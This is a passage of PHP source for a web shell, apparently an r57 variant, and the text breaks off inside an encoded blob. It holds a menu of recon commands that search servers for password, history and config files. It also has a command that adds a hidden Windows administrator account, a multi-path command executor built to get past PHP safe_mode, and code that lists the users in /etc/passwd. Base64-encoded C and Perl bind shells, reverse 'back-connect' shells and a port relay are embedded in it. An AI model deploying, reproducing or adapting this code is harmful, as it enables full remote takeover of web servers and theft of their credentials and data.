user'=>'ls -la /etc/valiases', 'find suid files'=>'find / -type f -perm -04000 -ls', 'find suid files in current dir'=>'find . -type f -perm -04000 -ls', 'find sgid files'=>'find / -type f -perm -02000 -ls', 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', 'find config.inc.php files'=>'find / -type f -name config.inc.php', 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', 'find config* files'=>'find / -type f -name "config*"', 'find config* files in current dir'=>'find . -type f -name "config*"', 'find all writable files'=>'find / -type f -perm -2 -ls', 'find all writable files in current dir'=>'find . -type f -perm -2 -ls', 'find all writable directories'=>'find /  -type d -perm -2 -ls', 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', 'find all writable directories and files'=>'find / -perm -2 -ls', 'find all writable directories and files in current dir'=>'find . -perm -2 -ls', 'find all service.pwd files'=>'find / -type f -name service.pwd', 'find service.pwd files in current dir'=>'find . -type f -name service.pwd', 'find all .htpasswd files'=>'find / -type f -name .htpasswd', 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', 'find all .bash_history files'=>'find / -type f -name .bash_history', 'find .bash_history files in current dir'=>'find . -type f -name .bash_history', 'find all .mysql_history files'=>'find / -type f -name .mysql_history', 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', 'list file attributes on a Linux second extended file system'=>'lsattr -va', 'show opened ports'=>'netstat -an | grep -i listen', '________________var orders var______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ error_log files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ access.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ error.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt', 'find /var/ &quot;*.log&quot; files'=>'/tmp/grep.txt;cat /tmp/grep.txt', '________________for server windows ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt', '1_learn the management server'=>'net user', '2_add new user'=>'net user egy_spider 123456 /add', '3_add your user for admin group (this order after add order 1&2'=>'net localgroup administrators egy_spider /add', '----------------------------------------------------------------------------------------------------'=>'ls -la' ); $table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: "; $table_up2 = " ::</div></b></font></td></tr><tr><td>"; $table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333>"; $table_end1 = "</td></tr>"; $arrow = " <font face=Webdings color=gray>4</font>"; $lb = "<font color=black>[</font>"; $rb = "<font color=black>]</font>"; $font = "<font face=Verdana size=-2>"; $ts = "<table class=table1 width=100% align=center>"; $te = "</table>"; $fs = "<form name=form method=POST>"; $fe = "</form>"; if(isset($_GET['users'])) { if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } else { echo '<center>'; foreach($users as $user) { echo $user."<br>"; } echo '</center>'; } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; } if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];} $unix = 0; if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; if(empty($dir)) { $os = getenv('OS'); if(empty($os)){ $os = @php_uname(); } if(empty($os)){ $os ="-"; $unix=1; } else { if(@eregi("^win",$os)) { $unix = 0; } else { $unix = 1; } } } if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") { echo $head; if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } $sr->SearchText(0,0); $res = $sr->GetResultFiles(); $found = $sr->GetMatchesCount(); $titles = $sr->GetTitles(); $r = ""; if($found > 0) { $r .= "<TABLE width=100%>"; foreach($res as $file=>$v) { $r .= "<TR>"; $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); $r .= (!$unix)? str_replace("/","\\",$file) : $file; $r .= "</b></font></ TD>"; $r .= "</TR>"; foreach($v as $a=>$b) { $r .= "<TR>"; $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; $r .= "</TR>\n"; } } $r .= "</TABLE>"; echo $r; } else { echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); } if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;} $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } function ws($i) { return @str_repeat("&nbsp;",$i); } function ex($cfe) {global $unix,$tempdir; $res = ''; if (!empty($cfe)) { if(@function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(@function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(@function_exists('system')) { @ob_start(); @system('$cfe'); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r"))) { $res = ""; if(@function_exists('fread') && @function_exists('feof')){ while(!@feof($f)) { $res .= @fread($f,1024); } }else if(@function_exists('fgets') && @function_exists('feof')){ while(!@feof($f)) { $res .= @fgets($f,1024); } } @pclose($f); } elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes))) { $res = ""; if(@function_exists('fread') && @function_exists('feof')){ while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);} }else if(@function_exists('fgets') && @function_exists('feof')){ while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);} } @proc_close($f); } }else{$res = safe_ex($cfe);} return htmlspecialchars($res); } function safe_ex($cfe) {global $unix,$tempdir; $res = ''; if (!empty($cfe)) { if(extension_loaded('perl')){ @ob_start(); $safeperl=new perl(); $safeperl->eval("system('$cfe')"); $res = @ob_get_contents(); @ob_end_clean(); } elseif(!$unix && extension_loaded('ffi')) { $output=$tempdir.uniqid('NJ'); $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);} else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);} while(!@file_exists($output))sleep(1); $res=moreread($output); @unlink($output); } elseif(!$unix && extension_loaded('win32service')) { $output=$tempdir.uniqid('NJ'); $n_ser=uniqid('NJ'); if(!@function_exists('escapeshellarg')) {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));} else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));} @win32_start_service($n_ser); @win32_stop_service($n_ser); @win32_delete_service($n_ser); while(!@file_exists($output))sleep(1); $res=moreread($output); @unlink($output); } elseif(!$unix && extension_loaded("win32std")) { $output=$tempdir.uniqid('NJ'); if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');} else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');} while(!@file_exists($output))sleep(1); $res=moreread($output); @unlink($output); } elseif(!$unix) { $output=$tempdir.uniqid('NJ'); $suntzu = new COM("WScript.Shell"); if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');} else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');} $res=moreread($output); @unlink($output); } elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork')) { $res = '[~] Blind Command Execution via [pcntl_exec]\n\n'; $output=$tempdir.uniqid('pcntl'); $pid = @pcntl_fork(); if ($pid == -1) { $res .= '[-] Could not children fork. Exit'; } else if ($pid) { if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';} else {$res .= '[-] Error. Command incorrect.';} } else { $cfe = array(" -e 'system(\"$cfe > $output\")'"); if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0); if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0); die(); } $res=moreread($output); @unlink($output); } } return htmlspecialchars($res); } function get_users($filename) { $users = $rows = array(); $rows=@explode("\n",moreread($filename)); if(!$rows[0]){$rows=@explode("\n",readzlib($filename));} if(!$rows[0]) return 0; foreach ($rows as $string) { $user = @explode(":",trim($string)); if(substr($string,0,1)!='#') array_push($users,$user[0]); } return $users; } function err($n,$txt='') { echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>'; echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; if(!empty($txt)) { echo " $txt"; } echo '</b></div></font></td></tr></table>'; return null; } function perms($mode) { if (!$GLOBALS['unix']) return 0; if( $mode & 0x1000 ) { $type='p'; } else if( $mode & 0x2000 ) { $type='c'; } else if( $mode & 0x4000 ) { $type='d'; } else if( $mode & 0x6000 ) { $type='b'; } else if( $mode & 0x8000 ) { $type='-'; } else if( $mode & 0xA000 ) { $type='l'; } else if( $mode & 0xC000 ) { $type='s'; } else $type='u'; $owner["read"] = ($mode & 00400) ? 'r' : '-'; $owner["write"] = ($mode & 00200) ? 'w' : '-'; $owner["execute"] = ($mode & 00100) ? 'x' : '-'; $group["read"] = ($mode & 00040) ? 'r' : '-'; $group["write"] = ($mode & 00020) ? 'w' : '-'; $group["execute"] = ($mode & 00010) ? 'x' : '-'; $world["read"] = ($mode & 00004) ? 'r' : '-'; $world["write"] = ($mode & 00002) ? 'w' : '-'; $world["execute"] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; $s=sprintf("%1s", $type); $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); return trim($s); } function in($type,$name,$size,$value,$checked=0) { $ret = "<input type=".$type." name=".$name." "; if($size != 0) { $ret .= "size=".$size." "; } $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; } function which($pr) { $path = ''; $path = ex("which $pr"); if(!empty($path)) { return $path; } else { return false; } } function ps($pr) {global $unix; $path = ''; if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");} else{$path = ex("tasklist | findstr \"$pr\"");} if(!empty($path)) { return $path; } else { return false; } } function locate($pr) { $path = ''; $path = ex("locate $pr"); if(!empty($path)) { return $path; } else { return false; } } function cf($fname,$text) { if(!morewrite($fname,base64_decode($text))){err(0);}; } function sr($l,$t1,$t2) { return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; } if (!@function_exists("view_size")) { function view_size($size) { if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} else {$size = $size . " B";} return $size; } } function DirFilesR($dir,$types='') { $files = Array(); if(($handle = @opendir($dir))) { while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(@is_dir($dir."/".$file)) $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); else { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if($types) { if(@in_array($ext,explode(';',$types))) $files[] = $dir."/".$file; } else $files[] = $dir."/".$file; } } } @closedir($handle); } return $files; } class SearchResult { var $text; var $FilesToSearch; var $ResultFiles; var $FilesTotal; var $MatchesCount; var $FileMatschesCount; var $TimeStart; var $TimeTotal; var $titles; function SearchResult($dir,$text,$filter='') { $dirs = @explode(";",$dir); $this->FilesToSearch = Array(); for($a=0;$a<count($dirs);$a++) $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); $this->text = $text; $this->FilesTotal = @count($this->FilesToSearch); $this->TimeStart = getmicrotime(); $this->MatchesCount = 0; $this->ResultFiles = Array(); $this->FileMatchesCount = Array(); $this->titles = Array(); } function GetFilesTotal() { return $this->FilesTotal; } function GetTitles() { return $this->titles; } function GetTimeTotal() { return $this->TimeTotal; } function GetMatchesCount() { return $this->MatchesCount; } function GetFileMatchesCount() { return $this->FileMatchesCount; } function GetResultFiles() { return $this->ResultFiles; } function SearchText($phrase=0,$case=0) { $qq = @explode(' ',$this->text); $delim = '|'; if($phrase) foreach($qq as $k=>$v) $qq[$k] = '\b'.$v.'\b'; $words = '('.@implode($delim,$qq).')'; $pattern = "/".$words."/"; if(!$case) $pattern .= 'i'; foreach($this->FilesToSearch as $k=>$filename) { $this->FileMatchesCount[$filename] = 0; $FileStrings = @file($filename) or @next; for($a=0;$a<@count($FileStrings);$a++) { $count = 0; $CurString = $FileStrings[$a]; $CurString = @Trim($CurString); $CurString = @strip_tags($CurString); $aa = ''; if(($count = @preg_match_all($pattern,$CurString,$aa))) { $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); $this->ResultFiles[$filename][$a+1] = $CurString; $this->MatchesCount += $count; $this->FileMatchesCount[$filename] += $count; } } } $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); } } function getmicrotime() { list($usec,$sec) = @explode(" ",@microtime()); return ((float)$usec + (float)$sec); } $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9"; $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
